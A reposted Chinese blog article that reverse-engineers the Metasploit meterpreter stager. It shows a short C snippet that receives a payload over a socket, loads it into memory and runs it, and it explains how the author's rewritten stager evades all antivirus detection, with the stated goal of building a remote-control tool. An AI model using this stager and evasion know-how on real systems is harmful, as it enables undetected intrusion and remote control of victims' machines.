zoukankan      html  css  js  c++  java
  • meterpreter

    用过metasploit的人应该对meterpreter不陌生,它具有强大的功能,特别是其socks代理,简直就是内网渗透测试神器。由于meterpreter功能强大,萌生了想要把msf做远控的念头。另外,围绕meterpreter一个重要的问题,就是如何绕过杀软。

    这促使我决定一窥meterpreter的究竟,以了解其工作原理和流程,从而方便自定义载荷进行免杀,或者予以改造做远控。后来发现,直接基于msf做远控还有很长一段路要走,不过却可以完美免杀,而且还了解了meterpreter会话建立的流程和原理,对写程序很受启发。

    剖析meterpreter

    使用msf生成的meterpretershellcode很小(stager阶段),如287 bytes,一个287bytesshellcode竟能最终建立一个功能强大的meterpreter会话。这段shellcode到底是在干什么呢?这段shellcode就只干了如下事情:连接服务器,接收载荷,并将控制权转移到载荷。

    有人利用C语言实现了 meterpreter建立会话(这里可以参考链接:http://diablohorn.wordpress.com/2013/02/04/evade-antivirus-convert-shellcode-to-c) meterpreter 会话的建立过程,但是和原shellcode功能并不是很一致,因为这里使用了内存加载函数:

    do{         response =recv(meterpretersock, recvbuf, 1024, 0);        memcpy(payload,recvbuf,response);         payload +=response;         total +=response;        payloadlength -= response;      }while(payloadlength > 0);     payload -=total;     loadedfile =LoadLibraryR(payload,total);    meterpreterstart = (MyInit)GetProcAddressR(loadedfile,"Init");    meterpreterstart(meterpretersock);

    内存加载函数比较复杂,如果将这篇 c 代码转为shellcode,我想是不可能只有287bytes的。于是,我去掉了其内存加载的地方,直接将控制权转移到载荷,并将socket作为参数传入,发现会话并没有正常建立,但是也没有报错。

    因此,我决定对原始shellcode进行分析,以找到meterpreter会话建立的核心流程。

    在分析 原始shellcode之前,我想先知道被控端连接msf后,msf发过来的是什么载荷。通过查阅资料,得知这个载荷名叫:metsvr.xxx.dllxxx代表x86或者x64。为了验证,我删掉了/opt/metasploit/apps/pro/vendor/bundle/ruby/1.9.1/gems/meterpreter_bins-0.0.11/meterpreter目录下的 metsrv.x86.dll,发现会话无法正常建立了,从而确定了就是这个dll。然后我重新编译了metsrv.x86.dll,并插入了添加的代码,发现添加的代码执行了,进一步说明定位准确。

    不过这样,问题就来了。

    通常,我们自己写程序执行meterpreter的shellcode,常常是执行将控制权转移到shellcode执行,而上面那篇c代码,却是先加载载荷到内存中,然后再调用其Init()函数。显然两者差距很大,但是都能正常建立其meterpreter会话。也就是说,msf传过来的载荷,既可以直接将控制权转移到载荷执行,也可以内存加载载荷,然后调用其init函数来执行。是什么原因使得这两种方式都可以的呢?刚开始,我以为难道可以直接将控制权转移到dll头部,就会调用其主函数?显然,这种想法一经测试,立刻知道是错误的了。那么,原因就只有一个,一定是Msf对dll做了手脚。

    为了验证我的想法,我修改了上面提到的c代码,当接收到载荷后,将其保存在文件中。并与原始dll进行了对比:

     

    结果显示,的确不同。从第3个字节开始,就出现了变化。因此,我对这段代码进行了反汇编分析:

     

    发现这部分是经过精心构造的代码,由于前两个字节是4D 5A,对应的反汇编代码是DEC BEP,POP EDX。这段改编后的代码先存储了当前地址在EBX中,然后恢复因为4D 5A而造成的数据的更改。然后调用了偏移15E7处的函数,接着执行了该函数返回结果对应的函数。步入15E7分析:

    这里像是在向回找到4D 5A,也就是DLL的头部。继续往下面分析,发现非常像是找在函数地址,这里会不会就是内存加载DLL的地方呢?如果是这样,内存加载DLL后,应该返回DLL的DllMain函数的地址,后来发现果然如此。最后,我查阅资料终于找到了插入到4D 5A 后面的代码原始说明:

    这段代码验证了我的猜测。(注释已经说的很清楚的,大家可以自己分析下)

    联想到起初我提到的那篇c代码,因为我不想要那段内存加载的地方(因为太大了,转为shellcode会导致shellcode太过庞大),而去掉了内存加载的地方,直接执行载荷,但是会话却没有成功建立。看到这里的说明,原因很清楚了,因为我是通过参数传递将socket的值传过去的,而这里插入的代码,是通过寄存器 edi 得到socket的值,也就是说我们应该将socket存放到edi中,然后在将控制权转移到载荷中去。这样就可以用很简短的 c 代码,来模拟meterpreter stager,并成功建立会话。

    为了验证,我编写了cpp代码来实现:

    执行程序,成功得到了meterpreter会话:

    然后我将程序传到 virtualtotal进行检测,发现没有任何杀软报毒:https://www.virustotal.com/en/file/73d54586d85cd54a51befba1c0332c989318bdd228f764d233bad729add4cb33/analysis/1418040884/

     

    上述模拟 meterpreter stager阶段的cpp代码已托管到 github上:https://github.com/codeliker/mymig_meterpreter

    meterpreter会话建立过程是如此的巧妙。

    原文地址:http://www.bby44.com/article/sort0339/sort0676/info-27842.html

  • 相关阅读:
    我的知识库(4) java获取页面编码(Z)
    知识库(3)JAVA 正则表达式 (超详细)
    The Struts dispatcher cannot be found. This is usually caused by using Struts tags without the associated filter. Struts
    某人总结的《英语听力的技巧 》,挺搞的
    我的知识库(5)java单例模式详解
    构建可扩展程序
    SerialPort (RS232 Serial COM Port) in C# .NET
    Python学习笔记——String、Sequences
    UI题目我的答案
    jQuery学习系列学会操纵Form表单元素(1)
  • 原文地址:https://www.cnblogs.com/milantgh/p/4332942.html
Copyright © 2011-2022 走看看